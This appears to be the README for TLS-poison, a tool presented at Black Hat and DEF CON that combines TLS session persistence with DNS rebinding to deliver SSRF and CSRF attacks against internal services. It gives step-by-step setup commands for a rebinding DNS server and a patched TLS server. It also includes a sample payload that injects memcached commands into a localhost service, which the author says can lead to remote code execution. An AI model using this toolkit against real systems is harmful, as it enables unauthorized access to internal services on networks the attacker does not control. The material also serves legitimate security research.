A tool that allows for generic SSRF via TLS, as well as CSRF via image tags in most browsers. The goals are similar to SNI injection, but this new method uses inherent behaviors of TLS, instead of depending upon bugs in a particular implementation.
This was originally presented at Blackhat USA 2020 as well as DEF CON Safemode.
A big thanks goes out to rustls and dns-mitm, each of which this is mostly just a strange patched fork.
Back when gopher support was common, people got a lot of mileage out of using it for SSRF. So much so that there's pretty good tooling like Gopherus for doing so. This is because there are some software packages that often sit unauthenticated on localhost or on an internal network. A common one is memcached, because writing to memcached can often become RCE.
What if we could replicate this behavior, but instead of giving
the attack target a gopher://
URL which isn't often supported, we
give it an https://
URL? This has been done before with SNI injection,
but what if we did it in a more universal way?
It turns out TLS provides us with the perfect thing - session persistence! I plan on eventually writing up how this works, as well as more detail on what attacks can be done with it. For now you can either watch the Blackhat or DEF CON talk, or attempt to decipher the following diagram I came up with a while back:
As a heads up, you will need a domain where you can set NS records. If needed can find a few free subdomain providers which may work by searching around, but I have only tried with a dedicated top-level domain. In any case I'd recommend holding off on registering anything until you complete the first few steps to make sure everything's working properly.
This should be on something public, where the DNS rebinding server will eventually resolve to. You should probably use a dedicated box/VM for this, since you'll end up exposing whatever port you want to target, e.g. 11211 for memcached or 25 for SMTP.
# Install dependencies
sudo apt install git redis
git clone https://github.com/jmdx/TLS-poison.git
# Install rust:
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
cd TLS-poison/client-hello-poisoning/custom-tls
# There will definitely be warnings I didn't clean up :)
cargo build
# Test out the server:
target/debug/custom-tls -p 8443 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.rsa http
# (In another terminal to verify setup)
curl -kv https://localhost:8443
You'll need this on a public box as well. If you know for sure your
box doesn't have a systemd-resolved
stub resolver, it can be on the
same box as custom-tls
, but I'd recommend putting this on its own.
sudo apt install python3 python3-pip
git clone https://github.com/jmdx/TLS-poison.git
cd TLS-poison/client-hello-poisoning/custom-dns
pip3 install -r requirements.txt
# $DOMAIN: The domain you own where you will set up NS records
# $TARGET_IP: Likely 127.0.0.1, though you can set this to be some box
# netcat listening, for early phases of testing.
# $INITIAL_IP: The IP of the box with custom-tls
sudo python3 alternate-dns.py $DOMAIN,$TARGET_IP -b 0.0.0.0 -t $INITIAL_IP -d 8.8.8.8
# If you get "OSError: address already in use", you can do the following
# to stop systemd-resolved. This might mess up lots of things outside of
# custom-dns, but if it's on a dedicated VM, you're probably okay.
# A better way is to add DNSStubListener=no to /etc/systemd/resolved.conf
sudo systemctl stop systemd-resolved
# Finally, to verify, run the following a few times to see it alternating:
dig @localhost $DOMAIN
You'll need to set up an NS record and a glue record so that DNS requests go to your rebinding server. For example, if your domain is example.com, you should add:
dns.example.com A 300 <DNS_IP>
tlstest.example.com NS 300 dns.example.com
Then to get a TLS certificate for tlstest.example.com
, go to the
certbot DNS instructions and complete a DNS challenge for it. Then, go back to
custom-tls
and rerun it:
target/debug/custom-tls -p 8443--verbose --certs letsencrypt-cert.fullchain --key letsencrypt-key.rsa http
Now you're set up to attack real stuff! When something makes a request to
https://tlstest.jmaddux.com:8443
, both the TLS session poisoning and DNS
rebinding steps should be fully functional.
To use this in different situations, you'll need to vary a few things:
- port: Your TLS server will need to run on this port, since rebinding only switches up the domain (e.g. tlstest.example.com:11211 can be either 35.x.x.x:11211, or 127.0.0.1:11211)
- sleep: The duration the TLS server sleeps between redirects. This varies based upon what software you are sending custom-tls server, instead of what internal service you're attacking. For example, testing curl-initited SSRF this can be 10000ms, but for chrome-based stuff it can be quite short. On the other hand, if you see the attacks failing because you hit a maximum number of redirects, consider increasing this to 59000ms or beyond. If you don't see TLS sessions being persisted and re-delivered to the internal service, it can often be fixed by varying the sleep time.
- payload: Typically will start with a newline, and then have whatever commands you want to inject into the protocol you're targeting.
For example, for memcached:
redis-cli
127.0.0.1:6379> set payload "\r\nset foo 0 0 14\r\nim in ur cache \r"
Ctrl+c
# Note the following is port 11211 now.
target/debug/custom-tls -p 11211 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.rsa -p 11211 http
Then run you can supply https://tlstest.example.com:11211 as your SSRF payload.
If you want to reproduce my curl/memcached demo from the talk, you'll want to pass -L
to curl to enable redirects, since command-line curl will use a fresh cache each time it's run.
Good luck, and make sure not to attack anything you don't have permission!